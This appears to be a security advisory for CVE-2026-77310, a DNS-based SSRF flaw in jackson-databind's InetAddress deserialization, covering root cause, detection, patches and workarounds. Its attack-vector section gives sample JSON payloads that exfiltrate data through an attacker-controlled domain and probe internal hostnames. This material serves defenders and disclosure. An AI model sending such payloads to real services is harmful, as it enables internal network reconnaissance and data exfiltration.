CVE-2026-77310 Overview
CVE-2026-77310 is a Server-Side Request Forgery (SSRF) vulnerability in the FasterXML jackson-databind library. The flaw resides in the java.net.InetAddress branch of FromStringDeserializer.Std._deserialize(), which passes attacker-controlled input directly to InetAddress.getByName(). This call triggers eager Domain Name System (DNS) resolution during deserialization. Applications that deserialize untrusted JSON into InetAddress fields expose their infrastructure to DNS-based SSRF and internal host enumeration. The vulnerability is tracked under CWE-918: Server-Side Request Forgery.
Critical Impact
Attackers can force vulnerable services to issue DNS lookups for attacker-chosen names, enabling reconnaissance of internal networks and out-of-band data exfiltration through DNS side channels.
Affected Products
- jackson-databind versions prior to 2.18.9 on the 2.18.x branch
- jackson-databind versions prior to 2.21.5, 2.22.1 on the 2.x branches
- jackson-databind versions prior to 3.1.5 and 3.2.1 on the 3.x branches
Discovery Timeline
- 2026-08-24 - CVE-2026-77310 published to the National Vulnerability Database (NVD)
- 2026-08-25 - Last updated in NVD database
Technical Details for CVE-2026-77310
Vulnerability Analysis
The jackson-databind library provides data-binding between JSON and Java objects for the Jackson Data Processor. When Jackson deserializes a JSON string into a java.net.InetAddress field, the FromStringDeserializer.Std._deserialize() method invokes InetAddress.getByName(value). This method performs an immediate DNS resolution against the supplied hostname.
Because the input originates from untrusted JSON payloads, an attacker can supply arbitrary hostnames. The Java Virtual Machine (JVM) then issues DNS queries from the server's network position. Attackers use this primitive to fingerprint internal DNS zones, probe cloud metadata endpoints by hostname, and exfiltrate data through subdomain labels in queries directed at attacker-controlled authoritative name servers.
Root Cause
The root cause is unsafe use of a resolving constructor during deserialization. InetAddress.getByName() is not a pure parser; it performs network activity as a side effect. jackson-databind should have deferred resolution or restricted resolution to literal IP address forms. The fix in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1 avoids eager DNS resolution during deserialization.
Attack Vector
The vulnerability requires no authentication and can be triggered remotely wherever a service accepts JSON that maps to an InetAddress field. An attacker submits a payload such as {"host":"internal-service.corp.local"} or {"host":"<data>.attacker.tld"}. The deserializer resolves the hostname, producing a DNS query observable to the attacker and confirming reachability of internal names. The vulnerability manifests only through DNS-layer effects; it does not enable direct HTTP or TCP requests. See the GitHub Security Advisory GHSA-vvgp-rfg2-7rr6 for full technical details.
Detection Methods for CVE-2026-77310
Indicators of Compromise
- Outbound DNS queries from application servers to unexpected external domains, particularly with high-entropy or hex-encoded subdomain labels indicating exfiltration.
- DNS resolution attempts for internal hostnames originating from JSON-processing services that would not normally resolve those names.
- Elevated DNS query volume correlated with HTTP requests carrying JSON bodies containing host or address fields.
Detection Strategies
- Inventory Java applications for jackson-databind versions below 2.18.9, 2.21.5, 2.22.1, 3.1.5, or 3.2.1 using Software Bill of Materials (SBOM) tooling.
- Static analysis of application code for @JsonDeserialize or POJO fields typed as java.net.InetAddress receiving external input.
- Inspect DNS resolver logs and egress firewall records for anomalous lookups sourced from application service accounts.
Monitoring Recommendations
- Forward internal DNS resolver logs to a centralized data lake and alert on lookups of non-corporate domains from server subnets.
- Correlate web application firewall (WAF) events with DNS telemetry to identify JSON payloads immediately preceding suspicious resolutions.
- Monitor for repeated resolution of cloud metadata hostnames (for example, metadata.google.internal, 169.254.169.254 reverse lookups) from workloads.
How to Mitigate CVE-2026-77310
Immediate Actions Required
- Upgrade jackson-databind to 2.18.9, 2.21.5, 2.22.1, 3.1.5, or 3.2.1 depending on the release line in use.
- Audit application data models for fields typed as java.net.InetAddress and change them to String where DNS resolution is not required at bind time.
- Restrict egress DNS from application tiers to an allow-list of internal resolvers, and block direct outbound DNS to the internet.
Patch Information
FasterXML published the fix in jackson-databind versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1. The patched deserializer no longer invokes InetAddress.getByName() on untrusted input during binding. Upgrade coordinates are available through Maven Central. Refer to the GitHub Security Advisory GHSA-vvgp-rfg2-7rr6 for full remediation guidance.
Workarounds
- Register a custom JsonDeserializer<InetAddress> that validates input against an allow-list before invoking any resolver method.
- Replace InetAddress fields with String fields and perform validated resolution in application logic after input sanitization.
- Deploy egress DNS filtering to sinkhole queries for hostnames outside approved domains, limiting SSRF impact until the upgrade completes.
# Maven dependency upgrade example
# Update pom.xml to a patched jackson-databind release
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.22.1</version>
</dependency>
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
